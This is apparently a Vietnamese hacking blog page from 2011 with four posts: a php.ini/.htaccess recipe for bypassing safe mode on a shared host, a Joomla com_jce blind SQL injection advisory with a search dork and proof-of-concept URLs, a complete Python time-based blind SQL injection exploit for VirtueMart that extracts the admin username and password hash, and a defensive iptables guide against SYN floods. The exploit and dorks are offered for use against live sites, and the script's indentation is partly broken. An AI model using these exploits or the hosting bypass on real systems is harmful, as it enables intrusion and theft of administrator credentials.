Trang

Chủ Nhật, 10 tháng 4, 2011

Local Nhân Hòa ( Method By Pass Safe Mode )

Public date : 10/04/2011
Người thực hiện : tranthoai





Code ( php.ini ) :

safe_mode               =       off
allow_url_fopen         =       1
allow_url_include       =       1
disable_functions       =       none


Thêm đoạn sau đây vào (.htaccess) :    suPHP_ConfigPath php.ini

Thứ Bảy, 9 tháng 4, 2011

Joomla JCE Component (com_jce) Blind SQL Injection Vulnerability

===================================================================
joomlacontenteditor (com_jce) BLIND sql injection vulnerability
===================================================================

Software: joomlacontenteditor (com_jce)
Vendor: www.joomlacontenteditor.net
Vuln Type: BLind SQL Injection
Download link: http://www.joomlacontenteditor.net/downloads/editor/joomla15x/category/joomla-15-2 (check here)
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Dork: inurl:"/index.php?option=com_jce"


References: http://eidelweiss-advisories.blogspot.com/2011/04/joomlacontenteditor-comjce-blind-sql.html


===================================================================

Description:

JCE makes creating and editing Joomla!®
content easy Add a set of tools to your Joomla!® environment that give you the power to create the kind of content you want,
without limitations, and without needing to know or learn HTML, XHTML, CSS...

===================================================================

exploit & p0c

[!] index.php?option=com_jce&Itemid=[valid Itemid]

Example p0c

[!] http://host/index.php?option=com_jce&Itemid=8 <= True
[!] http://host/index.php?option=com_jce&Itemid=-8 <= False


====================================================================

Nothing Impossible In This World Even Nobody`s Perfect

Thứ Sáu, 8 tháng 4, 2011

Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit

#!/usr/bin/python
#
# Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit.
# Found by: TecR0c & mr_me
# Discovery date: 11/2/2011
# Code by: mr_me
# Vendor: http://virtuemart.net/
# Download: http://virtuemart.net/downloads
# Dork: inurl:"?option=com_virtuemart" > 46 million results
# Patch: http://dev.virtuemart.net/attachments/202/Patch-VirtueMart-1.1.7a.zip
# References:
# - http://www.stratsec.net/Research/Advisories/VirtueMart-SQL-Injection-(SS-2011-003)
# - http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18
#
# "The more you educate yourself the more you understand where things come from the more obvious things become
# and you begin to see lies everywhere. You have to know the truth and seek the truth and the truth will set you free."
# - zeitgeist addendum
#
# Description:
# ============
# With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online
# and drive your Business to new Heights. Despite being Open Source Software it powers large
# Online Shops providing the Performance, Usability and Security you expect from professional Software.
#
# Explantation:
# =============
# There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component.
# Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false
# statements. This of course will send an enormous number of queries the target. During testing, 9145
# queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version
# of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the
# timings of benchmark and time to last byte (ttlb).
#
# Tested on Joomla v1.5.22 with virtuemart:
# ==========
# - v1.1.7
# - v1.1.6
# - v1.1.4
#
# [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/
#
#   | ------------------------------------------------------------------- |
#   | Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |
#   | by mr_me - net-ninja.net ------------------------------------------ |
#
# (+) PoC started on Sat Feb 12 17:26:15 2011
# (+) Exploiting target @: http://192.168.1.7/webapps/joomla/
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Using time based SQL Injection.
# (+) This will take time, go grab a coffee..
#
# (!) Getting database version: 5.1.41-3ubuntu12.9
# (!) Getting database user: root@localhost
# (!) Getting database name: joomla
# (!) Getting Joomla admin: admin:eb970f9dfca9d7353083ab37cf097e21:pL356HEW2hfl88NWuFpgjLDfy2gKwIHR
# (+) PoC finished on Sat Feb 12 18:38:05 2011
#
 
import sys, urllib, urllib2, re, time
from optparse import OptionParser
 
# just printable ascii please
lower_value = 32
upper_value = 126
 
vuluri = "index.php?option=com_virtuemart&page%3d-1"
basicInfo = {'version':'@@version', 'user':'user()', 'name':'database()'}
 
usage = "./%prog [] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/"
 
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy ")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server ")
parser.add_option("-d", type="string", action="store", dest="directory",
                  help="Directory path to the CMS")
 
(options, args) = parser.parse_args()
 
def banner():
    print "\n\t| ------------------------------------------------------------------- |"
    print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |"
    print "\t| by mr_me - net-ninja.net ------------------------------------------ |\n"
 
if len(sys.argv) < 4:
    banner()
    parser.print_help()
    sys.exit(1)
 
def timer():
    now = time.localtime(time.time())
        return time.asctime(now)
 
def testProxy():
    check = 1
    sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
    sys.stdout.flush()
    try:
            req = urllib2.Request("http://www.google.com/")
        req.set_proxy(options.proxy,"http")
        check = urllib2.urlopen(req)
        except:
            check = 0
            pass
        if check != 0:
            sys.stdout.write("proxy is found to be working!\n")
            sys.stdout.flush()
        else:
            print "proxy failed, exiting.."
            sys.exit(1)
     
def getServerResponse(exploit):
    try:
        uri = "http://"+options.target+options.directory+exploit
        request = urllib2.Request(uri)
        if options.proxy:
            request.set_proxy(options.proxy, "http")
         
        start = time.time()
        resp = urllib2.urlopen(request)
        check = resp.read()
        ttlb = time.time() - start
    except urllib.error.HTTPError, error:
            check = error.read()
    except socket.error:
        print "(-) Proxy connection failed"
        sys.exit(1)
    return check, ttlb
 
def getBasicDbInfo(basicInfo, key, limit):
    for i in range(1,limit):
        for j in range(lower_value,upper_value):
            request = (vuluri + "'+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
            % (basicInfo[key],str(i),str(j)))
            try:
                resp, ttlb = getServerResponse(request)
            except:
                print "\n(-) Exiting.."
                sys.exit(1)
            if ttlb >= 3.5:
                sys.stdout.write("%s" % (chr(j)))
                sys.stdout.flush()
                break
 
 
def getJosUser(selectStmt, limit):
    for i in range(1,limit):
        for j in range(lower_value,upper_value):
            request = (vuluri + "'+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
                        % (selectStmt,str(i),str(j)))
            resp, ttlb = getServerResponse(request)
                        if ttlb >= 3.5:
                                sys.stdout.write("%s" % (chr(j)))
                                sys.stdout.flush()
                                break
 
def doBlindSqlInjection():
    print "(+) Using time based SQL Injection."
        print "(+) This will take time, go grab a coffee.."
 
    for key in basicInfo:
        sys.stdout.write("\n(!) Getting database %s: " % (key))
        sys.stdout.flush()
         
        for i in range(1,50):
            request = (vuluri + "'+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
                    % (basicInfo[key],str(i)))     
            try:
                            resp, ttlb = getServerResponse(request)
                    except:
                            print "\n(-) Exiting.."
                            sys.exit(1)
                    if ttlb >= 3.5:
                            break
 
        getBasicDbInfo(basicInfo, key, i+1)
 
    sys.stdout.write("\n(!) Getting Joomla admin: ")
    sys.stdout.flush()
 
    for i in range(1,100):
        lengthOfAdminString = "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)"
        request = (vuluri + "'+union+select+if(%s=%s,BENCHMARK(5000000,MD5('x')),NULL)--+junk.page"
        % (lengthOfAdminString,str(i)))
        try:
            resp, ttlb = getServerResponse(request)
        except:
            print "\n(-) Exiting.."
            sys.exit(1)
        if ttlb >= 3.5:
            break
     
    getJosStmt = "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)"
    getJosUser(getJosStmt, i+1)
 
if __name__ == "__main__":
    banner()
    print "(+) PoC started on %s" % (timer())
    print "(+) Exploiting target @: http://%s" % (options.target+options.directory)
    if options.proxy:
        testProxy()
    doBlindSqlInjection()  
    print "\n(+) PoC finished on %s" % (timer())

Thứ Tư, 6 tháng 4, 2011

Sử dụng Iptables chống Syn Flood attacks và cấm IP

Syn flood là 1 dạng tấn công từ chối dịch vụ, kẻ tấn công gửi các gói tin kết nối SYN đến hệ thống. Đây là 1 loại tấn công rất phổ biến. Loại tấn công này sẽ nguy hiểm nếu hệ thống cấp phát tài nguyên ngay sau khi nhận gói tin SYN từ kẻ tấn công và trước khi nhận gói ACK.

Nếu việc thiết lập kết nối chưa hòan tất 3 bước đây đủ (gọi là half-open connection) mà buộc hệ thống server phải cấp tài nguyên để quản lý thì kẻ tấn công có thể lấy hết tài nguyên của hệ thống server bằng các "flooding" vào server với các gói tin SYN. Syn flood là 1 dạng tấn công phổ biến và nó có thể được ngăn chặn bằng đoạn lệnh iptables sau:




iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j RETURN
Tất cả các kết nối đến hệ thống chỉ được phép theo các thông số giới hạn sau:
  • --limit 1/s: Tốc độ truyền gói tin trung bình tối đa 1/s (giây)
  • --limit-burst 3: Số lương gói tin khởi tạo tối đa được phép là 3
Dùng iptables, thêm rule sau vào:

Code:
# Limit the number of incoming tcp connections

# Interface 0 incoming syn-flood protection

iptables -N syn_flood

iptables -A INPUT -p tcp --syn -j syn_flood

iptables -A syn_flood -m limit --limit 1/s --limit-burst 3 -j RETURN

iptables -A syn_flood -j DROP
  • ‐‐limit rate n
  • ‐‐limit‐burst number m
Giải thích 1 cách dễ hiểu là như thế này "Rule trên giới hạn số kết nối tối đa đến hệ thống là n trên mỗi 1 giây sau khi đã có m kết nối được thiết lập"

Bạn cần điều chỉnh thông số -limit-rate-limit-burst tùy theo yêu cầu và traffic của mạng của bạn.

Giả sử bạn cần giới hạn các kết nối SSH (port 22) không được phép hơn 10 connections trên mỗi 10 phút, rule như sau:

Code:
iptables -I INPUT -p tcp -s 0/0 -d $SERVER_IP --sport 513:65535 --dport 22 -m state --state NEW,ESTABLISHED -m recent --set -j ACCEPT

iptables -I INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 600 --hitcount 11 -j DROP

iptables -A OUTPUT -p tcp -s $SERVER_IP -d 0/0 --sport 22 --dport 513:65

Vậy sau khi đã xác định được IP (ví dụ lấy 1 IP trong LAN 192.168.1.222) tấn công, việc quan trọng vẫn là cách ly các gói tin từ IP (192.168.1.222) để đảm bảo cho hệ thống hoạt động tốt.

# iptables -I INPUT -s 192.168.1.222 -j DROP

 Câu lệnh này sẽ thêm một entry vào file cấu hình IPTable, chỉ dẫn nó bỏ qua bất kì gói tin nào đến từ địa chỉ IP 192.168.1.222. Nếu bạn đang đối mặt với rất nhiều cuộc tấn công, tốt hơn hết bạn nên sử dụng một phương pháp tự động hơn để thêm địa chỉ IP từ danh sách cấm. Để làm việc này, ta tạo đoạn mã sau:
#!/bin/sh
for i in $(< banned_IPs.cfg) ; do
iptables -I INPUT -i eth1 -s "$i" -j DROP
done
Lưu đoạn mã trên vào một file với tên bất kì như banned_IPs.sh và gán cho nó quyền thực thi:
# chmod +x banned_IPs.sh 
Bây giờ tạo một file banned_IPs.cfg và nhập vào danh sách địa chỉ IP bạn muốn khóa, mỗi cái trên một dòng (ví dụ):
192.168.1.222
192.168.1.123
192.168.1.122
Bây giờ chạy file banned_IPs.sh để đưa địa chỉ các địa chỉ IP bạn muốn khóa gửi cho iptables "xử lý"
 # ./banned_IPs.sh